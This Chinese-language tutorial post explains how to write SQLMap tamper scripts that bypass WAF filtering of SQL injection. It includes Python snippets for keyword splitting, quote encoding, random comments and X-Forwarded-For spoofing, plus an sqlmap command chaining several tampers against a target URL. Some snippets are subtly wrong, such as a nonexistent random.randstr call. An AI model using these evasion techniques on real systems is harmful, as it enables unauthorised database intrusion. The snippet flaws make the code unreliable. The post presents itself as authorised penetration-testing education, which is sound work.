SQLMap Tamper脚本编写绕过WAF实战指南
摘要:Tamper脚本作为SQLMap的请求变形器,通过编码层(如Base64混淆)、语法层(如注释替换空格)和协议层(如HTTP头注入)实现WAF绕过。编写时需定义优先级、依赖项及核心篡改函数,并组合使用多脚本增强效果。高级策略包括动态负载生成、协议级伪造和AI辅助绕过。测试应在授权环境下进行,使用OWASP靶场验证,并遵守合规要求。Tamper脚本需持续更新以应对WAF演进,是攻防演练中的重要
·
一、Tamper脚本的核心价值
现代WAF通过正则匹配、语义分析和行为建模拦截SQL注入。Tamper脚本作为SQLMap的“请求变形器”,在三个层面实现绕过:
- 编码层:URL/Unicode/Base64编码混淆敏感字符(如
base64encode.py将SELECT转为Base64); - 语法层:空格替换、关键字分割(如
space2comment.py用/**/替代空格); - 协议层:HTTP头注入、分块传输干扰流量分析。
二、Tamper脚本编写实战
步骤1:基础结构
每个Tamper脚本需包含优先级声明、依赖项检查及核心篡改函数:
from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL # 控制多脚本执行顺序 def dependencies(): pass # 声明适用环境(如仅MySQL) def tamper(payload, **kwargs): if payload: payload = payload.replace("UNION", "UNI/**/ON") # 分割关键字绕过过滤 return payload
关键参数:
payload:原始注入语句kwargs:数据库类型、注入点等元数据
步骤2:绕过常见WAF规则
-
案例1:绕过单引号过滤
使用Unicode编码替代单引号(如apostrophemask.py):payload = payload.replace("'", "%EF%BC%87") # 单引号 → Unicode -
案例2:混淆空格与函数名
针对过滤SELECT * FROM的规则:payload = payload.replace(" ", "/**/") # 空格 → 注释 payload = payload.replace("DATABASE()", "DATA/**/BASE()") # 分割函数名
步骤3:组合脚本增强绕过
通过--tamper加载多脚本,形成分层混淆:
sqlmap -u "http://target.com/?id=1" --tamper="apostrophemask,space2comment,base64encode"
技巧:优先使用
--level=5 --risk=3确保检测强度。
三、高级绕过策略
-
动态负载生成
利用随机注释符干扰正则匹配(如randomcomments.py):def tamper(payload, **kwargs): return payload.replace("AND", "A/*{}*/ND".format(random.randstr(3))) -
协议级绕过
修改HTTP头伪装合法流量:headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = "127.0.0.1" # 伪造来源IP -
AI辅助绕过
使用GAN生成拟态注入载荷,模拟正常业务流量特征。
四、测试环境与合规实践
- 环境搭建:
使用OWASP BWA或DVWA部署含WAF的靶场(如ModSecurity + CRS)。 - 日志分析:
通过--logs-dir保存请求日志,优化Tamper逻辑。 - 合规要求:
仅限授权测试,避免法律风险;测试后修复漏洞(如参数化查询)。
资源:
- SQLMap官方Tamper脚本目录:
/usr/share/sqlmap/tamper- 脚本开发模板:参考
charencode.py编码逻辑
结语
Tamper脚本是绕过WAF的动态武器库,其核心在于理解WAF规则并针对性变形载荷。软件测试人员需持续关注WAF演进(如AI防御升级),通过攻防演练迭代脚本。
精选文章:
更多推荐



所有评论(0)